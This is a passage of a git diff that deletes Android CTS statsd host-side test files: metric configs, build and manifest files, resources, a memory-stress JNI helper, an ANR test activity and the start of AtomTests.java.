-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/OWNERS b/hostsidetests/statsd/OWNERS
deleted file mode 100644
index 5e51cc4..0000000
--- a/hostsidetests/statsd/OWNERS
+++ /dev/null
@@ -1,7 +0,0 @@
-# Bug component: 366902
-jeffreyhuang@google.com
-muhammadq@google.com
-singhtejinder@google.com
-tsaichristine@google.com
-yaochen@google.com
-yro@google.com
diff --git a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_CACHED_EMPTY_DURATION.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_CACHED_EMPTY_DURATION.pbtxt
deleted file mode 100644
index 6655599..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_CACHED_EMPTY_DURATION.pbtxt
+++ /dev/null
@@ -1,70 +0,0 @@
-# DURATION_PROCESS_STATE_IN_CACHED_EMPTY_PER_PROC_NAME_PACKAGE_NAME_VERSION
-id: -6109199674574072698
-duration_metric {
- id: -7871805656933174442
- what: -4194528603977557137
- aggregation_type: SUM
- dimensions_in_what {
- field: 3
- child {
- field: 2
- }
- child {
- field: 3
- }
- child {
- field: 5
- }
- }
- bucket: ONE_MINUTE
-}
-# PROC_STATE NOT IN CACHED_EMPTY
-atom_matcher {
- id: -2354884036751182872
- combination {
- operation: NOT
- matcher: -7794766650955623092
- }
-}
-# PROC_STATE IN CACHED_EMPTY
-atom_matcher {
- id: -7794766650955623092
- simple_atom_matcher {
- atom_id: 3
- field_value_matcher {
- field: 4
- eq_int: 1018
- }
- }
-}
-predicate {
- id: -4194528603977557137
- simple_predicate {
- start: -7794766650955623092
- stop: -2354884036751182872
- count_nesting: false
- dimensions {
- field: 3
- child {
- field: 2
- }
- child {
- field: 3
- }
- child {
- field: 5
- }
- }
- }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt
deleted file mode 100644
index 7f071e3..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt
+++ /dev/null
@@ -1,45 +0,0 @@
-# VALUE_MAX_PSS_PER_PROC_NAME_PACKAGE_NAME_VERSION
-id: -6109199674574072698
-value_metric {
- id: 1867856787681329178
- what: -3480158308153459853
- value_field {
- field: 18
- child {
- field: 4
- }
- }
- dimensions_in_what {
- field: 18
- child {
- field: 2
- }
- child {
- field: 3
- }
- child {
- field: 9
- }
- }
- bucket: ONE_MINUTE
- aggregation_type: MAX
-}
-# PROCESS_MEMORY_STAT_REPORTED
-atom_matcher {
- id: -3480158308153459853
- simple_atom_matcher {
- atom_id: 18
- }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_TOP_DURATION.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_TOP_DURATION.pbtxt
deleted file mode 100644
index e388d54..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PROCS_STATE_TOP_DURATION.pbtxt
+++ /dev/null
@@ -1,91 +0,0 @@
-# DURATION_PROCESS_STATE_IN_TOP_PER_PROC_NAME_PACKAGE_NAME_VERSION
-id: -6109199674574072698
-duration_metric {
- id: -1365360216258753370
- what: -8800411078553365796
- aggregation_type: SUM
- dimensions_in_what {
- field: 3
- child {
- field: 2
- }
- child {
- field: 3
- }
- child {
- field: 5
- }
- }
- bucket: ONE_MINUTE
-}
-# PROC_STATE NOT IN TOP
-atom_matcher {
- id: -7829668247086356765
- combination {
- operation: NOT
- matcher: -2987742411590785849
- }
-}
-# PROCESS_STATE TOP
-atom_matcher {
- id: 509484152027467470
- simple_atom_matcher {
- atom_id: 3
- field_value_matcher {
- field: 4
- eq_int: 1002
- }
- }
-}
-# PROCESS_STATE TOP_SLEEPING
-atom_matcher {
- id: -3293304223207806916
- simple_atom_matcher {
- atom_id: 3
- field_value_matcher {
- field: 4
- eq_int: 1011
- }
- }
-}
-# PROC_STATE IN TOP
-atom_matcher {
- id: -2987742411590785849
- combination {
- operation: OR
- matcher: 509484152027467470
- matcher: -3293304223207806916
- }
-}
-predicate {
- id: -8800411078553365796
- simple_predicate {
- start: -2987742411590785849
- stop: -7829668247086356765
- count_nesting: false
- dimensions {
- field: 3
- child {
- field: 2
- }
- child {
- field: 3
- }
- child {
- field: 5
- }
- }
- }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt
deleted file mode 100644
index 8444943..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PULL.pbtxt
+++ /dev/null
@@ -1,59 +0,0 @@
-id: 8835981461554930288
-gauge_metric {
- id: 543749824321007836
- what: 3909523419673092535
- gauge_fields_filter {
- include_all: true
- }
- bucket: ONE_DAY
- condition: -377136895
- sampling_type: CONDITION_CHANGE_TO_TRUE
- # Normal user should have <1000
- max_num_gauge_atoms_per_bucket: 2000
-}
-atom_matcher {
- id: 3909523419673092535
- simple_atom_matcher {
- atom_id: 10029
- }
-}
-atom_matcher {
- id: -1651300237
- simple_atom_matcher {
- atom_id: 47
- field_value_matcher {
- field: 2
- eq_int: 1
- }
- }
-}
-atom_matcher {
- id: -1651300236
- simple_atom_matcher {
- atom_id: 47
- field_value_matcher {
- field: 2
- eq_int: 2
- }
- }
-}
-predicate {
- id: -377136895
- simple_predicate {
- start: -1651300237
- stop: -1651300236
- count_nesting: false
- }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt b/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt
deleted file mode 100644
index 1effda6..0000000
--- a/hostsidetests/statsd/PROCSTATSQ_PULL_PKG_PROC.pbtxt
+++ /dev/null
@@ -1,59 +0,0 @@
-id: 8835981461554930288
-gauge_metric {
- id: 543749824321007836
- what: 3909523419673092535
- gauge_fields_filter {
- include_all: true
- }
- bucket: ONE_DAY
- condition: -377136895
- sampling_type: CONDITION_CHANGE_TO_TRUE
- # Normal user should have <1000
- max_num_gauge_atoms_per_bucket: 2000
-}
-atom_matcher {
- id: 3909523419673092535
- simple_atom_matcher {
- atom_id: 10034
- }
-}
-atom_matcher {
- id: -1651300237
- simple_atom_matcher {
- atom_id: 47
- field_value_matcher {
- field: 2
- eq_int: 1
- }
- }
-}
-atom_matcher {
- id: -1651300236
- simple_atom_matcher {
- atom_id: 47
- field_value_matcher {
- field: 2
- eq_int: 2
- }
- }
-}
-predicate {
- id: -377136895
- simple_predicate {
- start: -1651300237
- stop: -1651300236
- count_nesting: false
- }
-}
-allowed_log_source: "AID_GRAPHICS"
-allowed_log_source: "AID_INCIDENTD"
-allowed_log_source: "AID_STATSD"
-allowed_log_source: "AID_RADIO"
-allowed_log_source: "com.android.systemui"
-allowed_log_source: "com.android.vending"
-allowed_log_source: "AID_SYSTEM"
-allowed_log_source: "AID_ROOT"
-allowed_log_source: "AID_BLUETOOTH"
-default_pull_packages: "AID_SYSTEM"
-
-hash_strings_in_metric_report: false
diff --git a/hostsidetests/statsd/TEST_MAPPING b/hostsidetests/statsd/TEST_MAPPING
deleted file mode 100644
index f48ff4b..0000000
--- a/hostsidetests/statsd/TEST_MAPPING
+++ /dev/null
@@ -1,7 +0,0 @@
-{
- "postsubmit" : [
- {
- "name" : "CtsStatsdHostTestCases"
- }
- ]
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/Android.bp b/hostsidetests/statsd/apps/statsdapp/Android.bp
deleted file mode 100644
index 6e0ef51..0000000
--- a/hostsidetests/statsd/apps/statsdapp/Android.bp
+++ /dev/null
@@ -1,60 +0,0 @@
-// Copyright (C) 2017 The Android Open Source Project
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
-
-cc_library_shared {
- name: "liblmkhelper",
- srcs: ["jni/alloc_stress_activity.cpp"],
- cflags: [
- "-Wall",
- "-Werror",
- ],
- header_libs: ["jni_headers"],
- shared_libs: ["liblog"],
- stl: "c++_static",
- sdk_version: "current",
-}
-
-android_test_helper_app {
- name: "CtsStatsdApp",
- defaults: ["cts_defaults"],
- platform_apis: true,
- min_sdk_version: "24",
- srcs: [
- "src/**/*.java",
- ":statslog-statsd-cts-java-gen",
- ],
- libs: [
- "android.test.runner",
- "junit",
- "org.apache.http.legacy",
- ],
- privileged: true,
- static_libs: [
- "ctstestrunner-axt",
- "compatibility-device-util-axt",
- "androidx.legacy_legacy-support-v4",
- "androidx.test.rules",
- "cts-net-utils",
- "BlobStoreTestUtils"
- ],
- jni_libs: ["liblmkhelper"],
- compile_multilib: "both",
-}
-
-genrule {
- name: "statslog-statsd-cts-java-gen",
- tools: ["stats-log-api-gen"],
- cmd: "$(location stats-log-api-gen) --java $(out) --module cts --javaPackage com.android.server.cts.device.statsd --javaClass StatsLogStatsdCts",
- out: ["com/android/server/cts/device/statsd/StatsLogStatsdCts.java"],
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml b/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml
deleted file mode 100644
index 875488b..0000000
--- a/hostsidetests/statsd/apps/statsdapp/AndroidManifest.xml
+++ /dev/null
@@ -1,117 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.server.cts.device.statsd"
- android:versionCode="10">
- <uses-permission android:name="android.permission.ACCESS_BACKGROUND_LOCATION"/>
- <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
- <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
- <uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
- <uses-permission android:name="android.permission.BLUETOOTH"/>
- <uses-permission android:name="android.permission.BLUETOOTH_ADMIN"/>
- <uses-permission android:name="android.permission.CAMERA"/>
- <uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
- <uses-permission android:name="android.permission.CHANGE_WIFI_MULTICAST_STATE"/>
- <uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
- <uses-permission android:name="android.permission.CONFIGURE_DISPLAY_BRIGHTNESS"/>
- <uses-permission android:name="android.permission.DUMP"/> <!-- must be granted via pm grant -->
- <uses-permission android:name="android.permission.FOREGROUND_SERVICE"/>
- <uses-permission android:name="android.permission.INTERNET"/>
- <uses-permission android:name="android.permission.READ_SYNC_STATS"/>
- <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
- <uses-permission android:name="android.permission.VIBRATE"/>
- <uses-permission android:name="android.permission.WAKE_LOCK"/>
- <uses-permission android:name="android.permission.WRITE_SYNC_SETTINGS"/>
- <uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS"/>
-
- <application android:label="@string/app_name">
- <uses-library android:name="android.test.runner"/>
- <uses-library android:name="org.apache.http.legacy"
- android:required="false"/>
-
- <service android:name=".StatsdCtsBackgroundService"
- android:exported="true"/>
- <activity android:name=".StatsdCtsForegroundActivity"
- android:exported="true"/>
- <service android:name=".StatsdCtsForegroundService"
- android:foregroundServiceType="camera"
- android:exported="true"/>
-
- <activity android:name=".VideoPlayerActivity"
- android:label="@string/app_name"
- android:resizeableActivity="true"
- android:supportsPictureInPicture="true"
- android:configChanges="screenSize|smallestScreenSize|screenLayout|orientation"
- android:launchMode="singleTop"
- android:exported="true">
- <intent-filter>
- <action android:name="android.intent.action.MAIN"/>
- <category android:name="android.intent.category.LAUNCHER"/>
- </intent-filter>
- </activity>
-
- <activity android:name=".DaveyActivity"
- android:exported="true"/>
- <activity android:name=".ANRActivity"
- android:label="ANR Test Activity"
- android:launchMode="singleInstance"
- android:process=":ANRProcess"
- android:exported="true"/>
-
- <service android:name=".StatsdAuthenticator"
- android:exported="false">
- <intent-filter>
- <action android:name="android.accounts.AccountAuthenticator"/>
- </intent-filter>
-
- <meta-data android:name="android.accounts.AccountAuthenticator"
- android:resource="@xml/authenticator"/>
- </service>
- <service android:name="StatsdSyncService"
- android:exported="false">
- <intent-filter>
- <action android:name="android.content.SyncAdapter"/>
- </intent-filter>
- <meta-data android:name="android.content.SyncAdapter"
- android:resource="@xml/syncadapter"/>
- </service>
-
- <provider android:name=".StatsdProvider"
- android:authorities="com.android.server.cts.device.statsd.provider"/>
-
- <service android:name=".StatsdJobService"
- android:permission="android.permission.BIND_JOB_SERVICE"/>
-
- <service android:name=".DummyCallscreeningService"
- android:permission="android.permission.BIND_SCREENING_SERVICE"
- android:exported="true">
- <intent-filter>
- <action android:name="android.telecom.CallScreeningService"/>
- </intent-filter>
- </service>
-
- <service android:name=".IsolatedProcessService"
- android:isolatedProcess="true"/>
- </application>
-
- <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="com.android.server.cts.device.statsd"
- android:label="CTS tests of android.os.statsd stats collection">
- <meta-data android:name="listener"
- android:value="com.android.cts.runner.CtsTestRunListener"/>
- </instrumentation>
-</manifest>
diff --git a/hostsidetests/statsd/apps/statsdapp/jni/alloc_stress_activity.cpp b/hostsidetests/statsd/apps/statsdapp/jni/alloc_stress_activity.cpp
deleted file mode 100644
index b98a04b..0000000
--- a/hostsidetests/statsd/apps/statsdapp/jni/alloc_stress_activity.cpp
+++ /dev/null
@@ -1,53 +0,0 @@
-/*
- * Copyright (C) 2010 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-#include <algorithm>
-#include <cstring>
-#include <fstream>
-#include <iostream>
-#include <jni.h>
-#include <numeric>
-#include <sstream>
-#include <string>
-#include <tuple>
-#include <unistd.h>
-
-#include <android/log.h>
-#define LOG(...) __android_log_write(ANDROID_LOG_INFO, "ALLOC-STRESS", __VA_ARGS__)
-
-using namespace std;
-
-size_t s = 4 * (1 << 20); // 4 MB
-void *gptr;
-extern "C"
-JNIEXPORT void JNICALL
-Java_com_android_server_cts_device_statsd_StatsdCtsBackgroundService_cmain(JNIEnv* , jobject /* this */)
-{
- long long allocCount = 0;
- while (1) {
- char *ptr = (char *)malloc(s);
- memset(ptr, (int)allocCount >> 10, s);
- for (int i = 0; i < s; i += 4096) {
- *((long long *)&ptr[i]) = allocCount + i;
- }
- std::stringstream ss;
- ss << "total alloc: " << allocCount / (1 << 20);
- LOG(ss.str().c_str());
- gptr = ptr;
- allocCount += s;
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_davey.xml b/hostsidetests/statsd/apps/statsdapp/res/layout/activity_davey.xml
deleted file mode 100644
index bf43931..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_davey.xml
+++ /dev/null
@@ -1,27 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:custom="http://schemas.android.com/apk/res/com.android.server.cts.device.statsd"
- android:layout_width="match_parent"
- android:layout_height="match_parent"
- android:orientation="vertical">
- <com.android.server.cts.device.statsd.DaveyView
- android:id="@+id/davey_view"
- android:layout_width="match_parent"
- android:layout_height="match_parent"
- custom:causeDavey="false" />
-</LinearLayout>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_main.xml b/hostsidetests/statsd/apps/statsdapp/res/layout/activity_main.xml
deleted file mode 100644
index a029c80..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/layout/activity_main.xml
+++ /dev/null
@@ -1,32 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
- android:layout_width="fill_parent"
- android:layout_height="fill_parent"
- android:orientation="vertical">
-
- <FrameLayout
- android:id="@+id/video_frame"
- android:layout_width="fill_parent"
- android:layout_height="fill_parent">
-
- <VideoView
- android:id="@+id/video_player_view"
- android:layout_width="fill_parent"
- android:layout_height="fill_parent" />
- </FrameLayout>
-</RelativeLayout>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/raw/colors_video.mp4 b/hostsidetests/statsd/apps/statsdapp/res/raw/colors_video.mp4
deleted file mode 100644
index 0bec670..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/raw/colors_video.mp4
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/statsd/apps/statsdapp/res/raw/good.mp3 b/hostsidetests/statsd/apps/statsdapp/res/raw/good.mp3
deleted file mode 100644
index d20f772..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/raw/good.mp3
+++ /dev/null
Binary files differ
diff --git a/hostsidetests/statsd/apps/statsdapp/res/values/attrs.xml b/hostsidetests/statsd/apps/statsdapp/res/values/attrs.xml
deleted file mode 100644
index e769146..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/values/attrs.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<resources>
- <declare-styleable name="DaveyView">
- <attr name="causeDavey" format="boolean" />
- </declare-styleable>
-</resources>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/values/strings.xml b/hostsidetests/statsd/apps/statsdapp/res/values/strings.xml
deleted file mode 100644
index e40d2ac..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/values/strings.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!-- Copyright (C) 2017 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<resources xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:xliff="urn:oasis:names:tc:xliff:document:1.2">
- <string name="app_name">CTS Statsd Atoms App</string>
-</resources>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/xml/authenticator.xml b/hostsidetests/statsd/apps/statsdapp/res/xml/authenticator.xml
deleted file mode 100644
index 71c73d7..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/xml/authenticator.xml
+++ /dev/null
@@ -1,15 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
- http://www.apache.org/licenses/LICENSE-2.0
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-<account-authenticator xmlns:android="http://schemas.android.com/apk/res/android"
- android:accountType="com.android.cts.statsd"
- android:label="@string/app_name" />
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/res/xml/syncadapter.xml b/hostsidetests/statsd/apps/statsdapp/res/xml/syncadapter.xml
deleted file mode 100644
index d8cb52e..0000000
--- a/hostsidetests/statsd/apps/statsdapp/res/xml/syncadapter.xml
+++ /dev/null
@@ -1,20 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<sync-adapter xmlns:android="http://schemas.android.com/apk/res/android"
- android:contentAuthority= "com.android.server.cts.device.statsd.provider"
- android:accountType="com.android.cts.statsd"
-/>
\ No newline at end of file
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/ANRActivity.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/ANRActivity.java
deleted file mode 100644
index 78b2d2d..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/ANRActivity.java
+++ /dev/null
@@ -1,51 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import android.app.Activity;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.SystemClock;
-import android.view.WindowManager;
-
-public class ANRActivity extends Activity {
- private static final String TAG = "ANRActivity";
- private static final String ACTION_ANR = "action_anr";
-
-
- @Override
- public void onCreate(Bundle bundle) {
- super.onCreate(bundle);
-
- registerReceiver(new BroadcastReceiver() {
- @Override
- public void onReceive(Context context, Intent intent) {
- while (true) {
- SystemClock.sleep(2);
- }
- }
- }, new IntentFilter(ACTION_ANR));
-
- getWindow().addFlags(WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON
- | WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED
- | WindowManager.LayoutParams.FLAG_DISMISS_KEYGUARD
- | WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON);
- }
-}
diff --git a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java b/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
deleted file mode 100644
index 783790d..0000000
--- a/hostsidetests/statsd/apps/statsdapp/src/com/android/server/cts/device/statsd/AtomTests.java
+++ /dev/null
@@ -1,1057 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.server.cts.device.statsd;
-
-import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.accounts.Account;
-import android.accounts.AccountManager;
-import android.app.ActivityManager;
-import android.app.ActivityManager.RunningServiceInfo;
-import android.app.AlarmManager;
-import android.app.AppOpsManager;
-import android.app.PendingIntent;
-import android.app.blob.BlobStoreManager;
-import android.app.job.JobInfo;
-import android.app.job.JobScheduler;
-import android.bluetooth.BluetoothAdapter;
-import android.bluetooth.le.BluetoothLeScanner;
-import android.bluetooth.le.ScanCallback;
-import android.bluetooth.le.ScanFilter;
-import android.bluetooth.le.ScanResult;
-import android.bluetooth.le.ScanSettings;
-import android.content.BroadcastReceiver;
-import android.content.ComponentName;
-import android.content.ContentResolver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentFilter;
-import android.content.pm.ApplicationInfo;
-import android.hardware.camera2.CameraCharacteristics;
-import android.hardware.camera2.CameraDevice;
-import android.hardware.camera2.CameraManager;
-import android.location.GnssStatus;
-import android.location.Location;
-import android.location.LocationListener;
-import android.location.LocationManager;
-import android.media.MediaPlayer;
-import android.net.ConnectivityManager;
-import android.net.Network;
-import android.net.NetworkCapabilities;
-import android.net.NetworkRequest;
-import android.net.cts.util.CtsNetUtils;
-import android.net.wifi.WifiManager;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.os.Handler;
-import android.os.HandlerThread;
-import android.os.Looper;
-import android.os.ParcelFileDescriptor;
-import android.os.PowerManager;
-import android.os.Process;
-import android.os.SystemClock;
-import android.os.VibrationEffect;
-import android.os.Vibrator;
-import android.provider.Settings;
-import android.text.TextUtils;
-import android.util.ArrayMap;
-import android.util.Log;
-import android.util.StatsEvent;
-import android.util.StatsLog;
-import androidx.annotation.NonNull;
-import androidx.test.InstrumentationRegistry;
-import com.android.compatibility.common.util.ShellIdentityUtils;
-import com.android.utils.blob.FakeBlobData;
-import com.google.common.io.BaseEncoding;
-import java.net.HttpURLConnection;
-import java.net.URL;
-import java.util.Arrays;
-import java.util.List;
-import java.util.Map;
-import java.util.concurrent.CompletableFuture;
-import java.util.concurrent.CountDownLatch;
-import java.util.concurrent.TimeUnit;
-import java.util.function.BiConsumer;
-import org.junit.Test;
-
-public class AtomTests {
- private static final String TAG = AtomTests.class.getSimpleName();
-
- private static final String MY_PACKAGE_NAME = "com.android.server.cts.device.statsd";
-
- private static final Map<String, Integer> APP_OPS_ENUM_MAP = new ArrayMap<>();
- static {
- APP_OPS_ENUM_MAP.put(AppOpsManager.OPSTR_COARSE_LOCATION, 0);
